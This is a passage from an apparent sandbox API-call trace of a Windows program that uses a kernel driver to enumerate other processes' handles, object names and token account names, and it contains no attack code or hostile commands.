lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.022] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.022] PsAcquireProcessExitSynchronization () returned 0x0 [0072.022] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.022] ObReferenceObjectByHandle (in: Handle=0x4a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800352ec00, HandleInformation=0x0) returned 0x0 [0072.022] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.022] PsReleaseProcessExitSynchronization () returned 0x2 [0072.022] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.022] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039ce044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039ce044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.022] ObfDereferenceObject (Object=0xfffffa800352ec00) returned 0x1 [0072.022] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.022] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.022] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0072.022] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.022] PsAcquireProcessExitSynchronization () returned 0x0 [0072.022] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.022] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0072.022] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.022] PsReleaseProcessExitSynchronization () returned 0x2 [0072.022] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.022] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80039cf044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039cf044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.022] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0x9 [0072.022] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.022] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.023] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x530) returned 0xc0 [0072.023] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.023] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800330c360, HandleInformation=0x0) returned 0x0 [0072.023] ObOpenObjectByPointer (in: Object=0xfffffa800330c360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.023] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0072.023] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.023] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.023] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.023] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.023] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.057] CloseHandle (hObject=0xc8) returned 1 [0072.058] CloseHandle (hObject=0xc0) returned 1 [0072.058] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0072.058] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.058] PsAcquireProcessExitSynchronization () returned 0x0 [0072.058] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054f85d0) [0072.058] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800330cf20, HandleInformation=0x0) returned 0x0 [0072.058] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.058] PsReleaseProcessExitSynchronization () returned 0x2 [0072.058] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x33 [0072.058] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039d0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.058] ObfDereferenceObject (Object=0xfffffa800330cf20) returned 0x1 [0072.058] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.058] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.058] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.058] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.058] PsAcquireProcessExitSynchronization () returned 0x0 [0072.058] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054f85d0) [0072.058] ObReferenceObjectByHandle (in: Handle=0x68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032b3c80, HandleInformation=0x0) returned 0x0 [0072.058] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.058] PsReleaseProcessExitSynchronization () returned 0x2 [0072.058] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x33 [0072.058] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039d1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.058] ObfDereferenceObject (Object=0xfffffa80032b3c80) returned 0x1 [0072.058] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.058] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.058] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0072.058] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.059] PsAcquireProcessExitSynchronization () returned 0x0 [0072.059] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054f85d0) [0072.059] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0072.059] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.059] PsReleaseProcessExitSynchronization () returned 0x2 [0072.059] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x33 [0072.059] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039d2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.059] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0072.059] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.059] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.059] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.059] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.059] PsAcquireProcessExitSynchronization () returned 0x0 [0072.059] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054f85d0) [0072.059] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.059] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.059] PsReleaseProcessExitSynchronization () returned 0x2 [0072.059] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x33 [0072.059] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039d3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.059] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.059] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.059] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.059] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x720) returned 0xc0 [0072.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.059] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002251300, HandleInformation=0x0) returned 0x0 [0072.059] ObOpenObjectByPointer (in: Object=0xfffffa8002251300, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.059] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0072.059] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.059] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.059] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.060] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.060] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.061] CloseHandle (hObject=0xc8) returned 1 [0072.061] CloseHandle (hObject=0xc0) returned 1 [0072.061] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0072.061] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.061] PsAcquireProcessExitSynchronization () returned 0x0 [0072.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.061] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031b5390, HandleInformation=0x0) returned 0x0 [0072.061] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.061] PsReleaseProcessExitSynchronization () returned 0x2 [0072.061] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.061] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039d4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.061] ObfDereferenceObject (Object=0xfffffa80031b5390) returned 0x1 [0072.061] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.061] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.061] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.061] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.061] PsAcquireProcessExitSynchronization () returned 0x0 [0072.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.062] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800eb5b310, HandleInformation=0x0) returned 0x0 [0072.062] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.062] PsReleaseProcessExitSynchronization () returned 0x2 [0072.062] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.062] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039d5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.062] ObfDereferenceObject (Object=0xfffffa800eb5b310) returned 0x1 [0072.062] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.062] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.062] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0072.062] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.062] PsAcquireProcessExitSynchronization () returned 0x0 [0072.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.062] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0072.062] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.062] PsReleaseProcessExitSynchronization () returned 0x2 [0072.062] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.062] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039d6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.062] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0072.062] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.062] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.062] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0072.062] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.062] PsAcquireProcessExitSynchronization () returned 0x0 [0072.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.062] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0072.062] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.062] PsReleaseProcessExitSynchronization () returned 0x2 [0072.062] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.062] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039d7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.062] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0072.062] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.063] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.063] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0072.063] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.063] PsAcquireProcessExitSynchronization () returned 0x0 [0072.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.063] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0072.063] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.063] PsReleaseProcessExitSynchronization () returned 0x2 [0072.063] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.063] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa80039d8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.063] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0072.063] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.063] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.063] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0072.063] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.063] PsAcquireProcessExitSynchronization () returned 0x0 [0072.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.063] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003075a50, HandleInformation=0x0) returned 0x0 [0072.063] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.063] PsReleaseProcessExitSynchronization () returned 0x2 [0072.063] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.063] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039da044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039da044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.063] ObfDereferenceObject (Object=0xfffffa8003075a50) returned 0x3 [0072.063] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.063] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.063] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0072.063] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.063] PsAcquireProcessExitSynchronization () returned 0x0 [0072.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.063] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800358f410, HandleInformation=0x0) returned 0x0 [0072.064] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.064] PsReleaseProcessExitSynchronization () returned 0x2 [0072.064] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.064] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039db044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039db044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.064] ObfDereferenceObject (Object=0xfffffa800358f410) returned 0x2 [0072.064] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.064] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.064] RtlAllocateHeap (HeapHandle=0x150000, 